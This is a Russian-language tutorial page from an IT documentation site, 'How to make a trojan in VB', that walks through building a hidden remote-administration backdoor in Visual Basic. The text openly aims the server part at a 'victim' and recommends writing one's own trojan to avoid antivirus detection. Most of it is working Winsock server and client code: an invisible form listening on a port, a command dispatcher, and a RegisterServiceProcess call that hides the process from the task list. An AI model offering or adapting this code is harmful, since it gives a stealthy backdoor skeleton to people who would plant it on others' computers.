Большой архив статей, книг, документации по программированию, вебдизайну, компьютерной графике, сетям, операционным системам и многому другому
 
<Добавить в Избранное>    <Сделать стартовой>    <Реклама на сайте>    <Контакты>
  Главная Документация Новости ИТ Программы Книги Games   Обои   Экспорт RSS E-Books
 
Поиск по сайту

TOP-10 программ
Symantec Norton Ghost 9.0
Partition Magic 8.0.2 Pro
Xilisoft 3GP Video Converter v3.1.7.0616b
Norton AntiVirus 2005
Xilisoft 3GP Video Converter v2.1.52.831b
Антивирус Касперского Personal 5.0.303 beta 2
RAR Password Cracker 4.12
ABBYY PDF Transformer v1.00.820
MP3 To Ringtone Gold v3.02
Mobtime Cell Phone Manager v5.3.1
 
Наши сервисы
Рассылка новостей. Подпишитесь на рассылку сейчас и вы всегда будете в курсе последних событий в мире информационных технологий.
Новостные информеры. Поставьте наши информеры к себе и у вас на сайте появится дополнительный постоянно обновляемый раздел.
Добавление статей. Если вы являетесь автором статьи или обзора на тему ИТ присылайте материал нам, мы с удовольствием опубликуем его у себя на сайте.
 
 

   Безопасность -> Вирусы -> Как сделать троян на VB


Как сделать троян на VB

    В интернете полным полно всяких сайтов, на которых Вы можете скачать себе самые разнообразные трояны и вирусы. Но о большинстве из них (скорее всего) уже знают антивирусные программы. К тому же надо с опаской относиться к таким троянам, которые отсылают пароли на e-mail, т.к. их большинство дублирует письмо на e-mail автора :о) Поэтому лучше всего сделать троян самому.

    Для начала разберёмся с классификацией троянов. Трояны делятся на несколько категорий: BackDoors, Nukers и т.д. В этой статье мы будим говорить о создании собственного BackDoor'а, а точнее программы скрытого удалённого администрирования. Такие программы состоят из 2-х частей: одна - сервер, а другая - клиент. На компьютер жертвы засылается сервер. Именно он скрывается от пользователя. Файл сервера при запуске автоматически копируется в каталог Windows или системный каталог, а также скрывается из диалога "Завершение работы программы", который вызывается нажатием Ctrl+Alt+Delete. Во время работы, сервер открывает какой-нибудь порт от 1-ого до 65535-ого, и ждёт там клиента. Оыбчно сервер открывает порт на TCP протоколе. После того, как клиент подключиться к серверной части, он начинает посылать ей команды. Командами являются просто сочетания символов, обычно в виде слов, чтобы автору трояна не мучиться :о) Какие именно он придумает команды - нужно только догадоваться.

    Итак. Как мы и обещали, приступаем к созданию программы. Сначала напишем сервер. Для этого создаём новый проект на Visual Basic в виде стандартного EXE. Далее подключаем к нему Microsoft Winsock Control: в меню "Project"->"Components..."



    Если в списке его нет, то нажмите "Browse" и выберете файл "mswinsck.ocx". Тепрь ставим на форму этот компонент. Он нам нужен для свази клиентской и серверной части по TCP протоколу. Далее изменяем форму: убираем заголовок, делаем малые размеры и visible формы ставим на False. У компонента меняем имя на "ws" и свойству LocalPort присваиваем число, которое и будет номером порта, например 123.



    Теперь попробуем запустить программу. У вас ничего не должно появиться. Завершаем работу программы нажатием кнопки "стоп".

    Начинаем писать код программы. В Form_Load пишем:

Private Sub Form_Load()
Do
    If ws.State <> sckConnected And ws.State <> sckListening Then
        ws.Close
        ws.Listen
    End If
    DoEvents
Loop
End Sub

    Здесь, если мы ни с кем не соеденины и не прослушиваем порт, закрываем связь в ws и открываем 123 порт в ожидании клиента. Условие на состояние связи в ws нужно повторять во время работы программы для того, чтобы избежать случая, который возникает при разрыве связи. Т.е. вы начинаете случать порт, затем подключается удалённый компьютер, а после его отключения порт слушаться уже не будет. Вот значения, которые может принимать свойство State:

Константа

Значение

Описание

sckClosed

0

Такое значение стоит при запуске программы или когда порт закрыт

sckOpen

1

Порт открыт

sckListening

2

Порт прослушивается

sckConnectionPending

3

Connection pending

sckResolvingHost

4

Resolving host

sckHostResolved

5

Host resolved

sckConnecting

6

Подключение к хосту

sckConnected

7

Связь установлена

sckClosing

8

Связь закрывается...

sckError

9

Ошибка



    Теперь нужно подключить клиента. Для этого в ws_ConnectionRequest, т.е. в запросе на соединение пишем:

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

    Здесь мы сначала прекрашаем слушать, а затем подсоединяем клиента по номеру его запроса. На этом код по соединению двух программ закончен. Далее разбираем код для ws_DataArrival. Он будет вызываться, когда будут приходить какие-нибудь данные от сервера.

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
ws.GetData Data

Select Case Data
    Case "BEEP"
        Beep
    Case "MSG"
        MsgBox "Привет!", vbInformation, ":o)"
    Case "END"
        End
End Select
End Sub

    В этом коде тоже всё просто. Сначала объявляем переменную Data, которая будет содержать пришедшие данные, а затем записываем их. После этого просматриваем все возможные варианты, т.е. команды, которые могли прийти от сервера. Здесь их три: BEEP, MSG, END. То, что они делают, думаю, объеснять не надо. Теперь остаётся скомпилировать программу. Назовём её "server.exe".

    Приступим к написанию клиентской части. Создадим новый проект и форму, как на рисунке:



    Поставьте на форму 2 текстовых поля и назовите их "IP" и "Port", затем две кнопки с надписями "Подключиться" и "Отключиться", и 3 кнопки с надписями "Бип!", "Сообщение" и "Закрыть сервер". Имена кнопок оставьте стандартными. Теперь добавьте Winsock Control и назовите его "ws". Поскольку наш сервер работает на 123 порту, то свойству Text второго текстового поля можно сразу присвоить значение "123". Текст первого поля будет значение IP адреса данного компьютера. Для этого пишем:

Private Sub Form_Load()
IP.Text = ws.LocalIP
End Sub

    Теперь запущенная программа может выглядеть примерно так:



    Продолжаем писать код.

Private Sub Command1_Click()
ws.Close
ws.RemoteHost = IP
ws.RemotePort = Port
ws.Connect
End Sub

Private Sub Command2_Click()
ws.Close
End Sub

    При нажатии на кнопку "Подключиться", мы закрываем связь, указываем удалённый IP и порт и подключаемся. Кнопка "Отключиться" просто закрывает связь.

Private Sub Command3_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData "BEEP"
End Sub

Private Sub Command4_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData "MSG"
End Sub

Private Sub Command5_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData "END"
End Sub

    В последних трёх кнопках программа сначала проверяет связь, и, если соединено, то посылает команду.

    Теперь компилируем программу в "client.exe". Можно протестировать троян. Для этого запустите "server.exe", а затем "client.exe" и попробуйте подключиться. Если не было ошибок, то понажимайте на кнопки команд. Теперь сервер можно закрыть из списка задач (Ctrl+Alt+Delete).

    Вот в принципе и всё. Если вы хотите скрыть своего трояна из списка задач, то в объявлениях формы сервера подключите функцию RegisterServiceProcess, а также измените Form_Load:

Private Declare Function RegisterServiceProcess Lib _
"kernel32.dll" (ByVal dwProcessId As Long, ByVal _
dwType As Long) As Long

Private Sub Form_Load()
RegisterServiceProcess 0, 1
Do
    If ws.State <> sckConnected And ws.State <> sckListening Then
        ws.Close
        ws.Listen
    End If
    DoEvents
Loop
End Sub

Автор: Павел Николаевич

Ссылки по теме
Продам вирус. Сколько стоит?!
Троянский беспредел
История двух вирусов
Вирус - основные понятия
Пишем своего трояна
 

Компьютерная документация от А до Я - Главная

 
Популярные книги

SQL для "чайников", 5-е издание

Подробнее

Solid Works. Практическое руководство

Подробнее

Самоучитель Macromedia Flash 5

Подробнее

 

 
Новости ИТ
02.12.2008  Состоялась ДВ СЕО-сходка в г. Находка
02.12.2008  Компьютерной мышке стукнуло 40 лет
02.12.2008  В зоне RU зарегистрировано 1,8 млн доменов
02.12.2008  AVG Anti-Virus Free 8.0.176
02.12.2008  SmartFTP 3.0.1024
02.12.2008  QiGi i6
02.12.2008  Albatron PMG31
02.12.2008  Sony VAIO TT
02.12.2008  Colorful GeForce 9800 GTX+
02.12.2008  Super Talent DDR3-1333
02.12.2008  Softkey измерит уровень «ИТ-интеллекта»
02.12.2008  Новая графическая станция Aquarius Pro G40 S36
02.12.2008  Autodesk завершает приобретение компании Softimage
02.12.2008  MP3-плеер iRiver T5
02.12.2008  Анонс BD-издания фильма «Квант милосердия»
02.12.2008  Компактный книжный сканер SCEYE
02.12.2008  Новый телефон LG KP500
02.12.2008  BT выводит на рынок новые услуги
02.12.2008  Новые биометрические считыватели отпечатков пальцев Sagem МА520
02.12.2008  Microsoft делает для студентов бесплатными программные продукты для разработки и дизайна
 
Полезно

 
Copyright © CompDoc.Ru
При цитировании и перепечатке ссылка на www.compdoc.ru обязательна. Карта сайта.
 
Rambler's Top100